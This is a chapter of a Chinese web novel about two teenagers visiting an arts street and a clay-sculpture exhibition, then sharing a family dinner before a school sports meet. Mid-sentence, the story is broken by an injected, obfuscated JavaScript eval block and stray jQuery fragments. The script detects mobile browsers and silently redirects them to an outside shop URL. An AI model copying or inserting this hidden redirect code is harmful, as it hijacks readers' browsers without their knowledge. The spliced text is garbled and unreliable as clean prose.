周末出游这天,染云柳被带到写着“创意工厂”的大招牌入口前,内心毫不意外。
这里奚竹时不时会带他来几次,百年老街改造的文创街,以“旧物新生”为主打宣传,吸引一些小众爱好者来参观打卡,算是小有名气。
沿途的每家店都最大程度保留了旧时建筑的特点。最里面还有些废弃的旧厂房,被人为的改造了一番,有时会举办些符合此街主题氛围的小活动、小型展,奚竹有空就会来逛逛,是她最常来寻找创作灵感的地方。
也许是周末,天气又好,今天游客出乎意料地多。染云柳带了顶鸭舌帽,穿着衬衫短袖和工装裤,斜挎着个小腰包,站在阴凉处等奚竹买水回来。人来人往,奚竹的身影很快不见踪迹,他等了几秒,拿起手机给奚竹发消息。
R:人很多吗?要不要我过去。
久久未回音,染云柳皱眉,打算出去找她的时候,感到右侧手臂一凉。
回头就对上了奚竹澄澈的眼睛,她正在他的右后方,笑意盈盈地举着杯奶茶。
她久违的打扮了自己,化了提气色的淡妆,穿了白色连衣裙和绿色开衫,腰上松垮缠了条绿色系的腰带,显得长身玉立。
“发什么呆。”奚竹又冰了他一下,“拿着,我给你买的红豆奶茶,有冰沙搅搅再喝。”
染云柳接过,奚竹就开始搅拌着自己手里那份,还嘟囔着:“我想这喝这口好久啦。”
他瞥了一眼就知道,是他们上次来逛时发现的糖水铺子。奚竹喝了一次就对那个姐姐做的芒果酸奶冰沙念念不忘,此时兴致勃勃地喝上第一口,眼睛就亮晶晶的。
染云柳轻笑,抿了一口自己的,发现还没搅拌,被甜的发晕。
他阖眼稍作平复,这动作被奚竹捕捉到,在旁边一阵窃笑,又不小心呛到自己,捂着嘴咳嗽起来。
染云柳快步上前,从小腰包掏出张纸巾递给她,轻轻拍着她的背,缓过来后,两个人对上视线,忍不住一同笑出声来。
在沿途小摊走走停停,奚竹还给染云柳买了个很配他手表的银手链。没多久染云柳就投桃报李,也送了奚竹同类型的银手链,乍看像是一对。
以至于去甜品店里时,被当做了来约会的小情侣,被推荐了买一送一的情侣套餐,染云柳没解释。回头一看奚竹,她正憋着坏笑,摩拳擦掌准备占这个便宜。
参加这个活动套餐需要先达成店家规定的条件,于是两个人站在店里的打卡点,按照店员的要求摆动作。
奚竹一只手挽着染云柳的臂弯,另一只手中拿着杯冰沙也要倔强地伸出两根手指比“耶”。染云柳微微侧目看着她笑得肆意的模样,也忍俊不禁。
这一刻被定格为照片,挂在了这个名叫“拾遗”的甜品店墙上。
奚竹心满意足地吃着买一送一的小蛋糕,没多久就逛到了这条文创街的最里面,这里有个免费展子。集泥塑、陶艺、雕塑一体,里面展出的作品,是收集各路爱好者的。
因为没什么限制,所以显得风格各异,可能这一秒还在看传统风格很强烈的三分形、七分彩,配色亮眼的泥塑小人。往前走两步,就看到了当下时兴的二次元动漫人物。再走两步,就是偏写实的古典西式雕塑。
这三种主打风格和其余一些说不上来的个人手艺风格混杂在一起,宛如游客们本在江南烟雨中撑着油纸伞漫步,下一秒张牙舞爪的赛博怪兽从天而降,张口就叽里咕噜吐了串洋人语。
奚竹很喜欢这样没有定义风格的展子,因此兴致勃勃地走来走去,时不时拿手机找角度拍下。
染云柳也认真研究着这些作品,时而问问奚竹一些问题。
他虽然在奚竹忙作品时上手帮过忙,但都是些门外汉能轻松上手的小忙,他对手工艺品实在没什么天赋,不如奚竹心灵手巧。无论什么在她手中,看似随意几下就有了雏形。
他的爱好也不在这上面,只是关于她的,他总想多了解一些。
“你是怎么分清到底是泥塑作品还是陶艺作品?”
奚竹沉吟片刻:“嗯……最主要的是陶艺要上釉,泥塑不需要吧,这点差异会让前者看上去更加有光泽。你可以理解为这两个成品一个亮光一个哑光。”
染云柳追问:“那如果陶艺作品还没到上釉的时候怎么看出来。”
“那就看泥土的选择不同,所呈现的效果不同了。素陶质地比较厚重紧实,风干的泥塑更加有透气感,边缘比较柔和圆润吧。”
染云柳似懂非懂。
“其实要是能上手摸一摸你就能直观的感觉到了。陶艺手感凉凉滑滑的,泥塑用指甲刮两下说不定还能刮下泥粉。”
一旁观展的老人听见了两人的对话,好奇地问:“小姑娘你是学陶艺的?”
奚竹礼貌地冲老人笑笑:“不是的,我是学泥塑的。”
老人有些惊讶:“泥塑这手艺,还真少见年轻人做了。”
两个社恐小孩保持微笑,在老人面前缄默下来,装作专心致志地看展。
然而老人不懂年轻人无言的边界感,继续问:“我看现在手作店还是陶艺更受欢迎点,这两个区别也不大吧,为什么你会选择泥塑呢?”
“家里长辈有这手艺,从小耳濡目染的。”
“哦。”老人面上的喜色收回,“那看来也算是个门外汉吧,哈哈。”
奚竹和染云柳的目光同时横向这一身中山装,牙都掉了几颗的老头。
染云柳率先开口:“奚姐捏的很好,她很有天赋。”
奚竹谦虚道:“没有,也就是经年累月的捏,捏出经验来了吧。”
染云柳附和:“没错,我和奚姐认识十年,已经算挺长了,但是她开始捏泥塑的时间比认识我还长。”
奚竹补充:“并且我个人觉得泥塑和陶艺差别还是很大的。”
这两个小孩一唱一和,尤其那个男孩说话绕口令似的,给老人弄懵了。他愣了好一会,才“哈哈”大笑起来。
“你们俩可真有意思。”他对着奚竹说,“那你说说,这两个有什么区别。”
“最根本的就是制作工序,陶艺的工序比泥塑繁琐多了。质感、材质、尺寸、存放时间都有很大不同,泥塑更适合巴掌大的小摆件,陶艺这方面就不怎么受限制了,并且因为缺少烧制这一步,泥塑极易开裂。”
奚竹突突完这一串,忽然觉得自己说的有点太多了。话音落了没一会儿,就悔得恨不得原地掌自己的嘴。
她正尴尬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732862|208976||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,抬头就看见染云柳无声地冲她鼓掌。那个中山装老人也“哈哈哈”起来。
她现在真想再去剁了染云柳的手,再把这老头嘴也掌了。
正暗自腹诽,就听那老头又问:“既然这样,你怎么不学陶艺,一直捏这泥塑。”
“这是有很多方面的。”
这没眼色的老头非要打破砂锅问到底:“给大伙说说呗。”
哪来的大伙?
奚竹正疑惑,一扭头发现染云柳也好奇地盯着她。
“……从小接触是一方面,我感觉泥塑随时能改动,创作更自由是一方面。”
自然阴干的泥塑,会将泥土最原始的质感、指尖按压的纹路、捏制时的起伏都清晰的留下。她喜欢这种带着鲜活气息的感觉,泥土没经过烈火淬炼,就会老化开裂。这种消散,像人类的生命力。
这种对泥塑的情感,是内心深处很细腻的一种感受,在大庭广众说出来,实在难以启齿。
于是她精简总结:“并且我喜欢泥塑的生命力。”
这没头没脑的话,染云柳听得似懂非懂,老人却笑得更开心了:“你这个小姑娘有意思!”
奚竹一头雾水,老人却兀自笑呵呵地离去了。
和染云柳面面相觑片刻,继续看完展品。出展子后染云柳买了两个冰淇淋,两个人啃着冰淇淋,慢悠悠地散步回家。
江山不在,奚竹准备在染云柳家吃饭。今天是秦秀秀每周一次的复诊日,两个人算了算她平时回来的时间,跑去附近超市买了些食材。
趁她去看心理医生,奚竹在染云柳家狠狠地秀了自己的手艺,挥汗如雨地下了一回厨。
染云柳在一旁备菜打下手,当秦秀秀到家时,奚竹已经把饭菜都摆上桌,染云柳把锅都顺手刷干净了。
听见门响,两个人都停下手中动作:“回来的正好,吃饭啦。”
饭桌上,奚竹给染云柳和秦秀秀各夹了一筷子红烧肉。
“快尝尝,这是昨天我叔来家里做的,我觉得很好吃,就问了做法,不知道怎么样。”
染云柳立刻肯定:“很好吃。”
奚竹自己尝了一口,给出了中肯的评价:“感觉少了点什么,没我叔做得好吃,下次有机会让你尝尝我叔的手艺。”
饭菜香气扑鼻,两个小孩相伴,融洽的浑然天成。秦秀秀心头一动,不知为何回忆起今天心理医生说自己已经好转很多,心底漫上一片柔软。
岁月静好,就是如此吧。
周末虽说是两天,其实周日下午还要返校去上晚自习。休息的时间转瞬即逝,运动会在这周开始上课没多久后接踵而至。
奚竹自从报了运动会项目后每天的运动都没落下。她虽然没跑过1500米,不过800米还是跑过的,如果队里没有体育生,她有信心拿第一。
“第一”只是名次,她下意识和自己比,上次的八百米她跑了2分52秒,不知道这次会是多少呢。
这天的太阳公公依旧不留情,刺得人睁不开眼,日光铺满操场,也压不住学生们高涨的兴致,广播在激情昂扬地念着来自各班的加油稿,各班聚在一起,热火朝天地拉起了彩旗。
秋季运动会,就此正式拉开了序幕。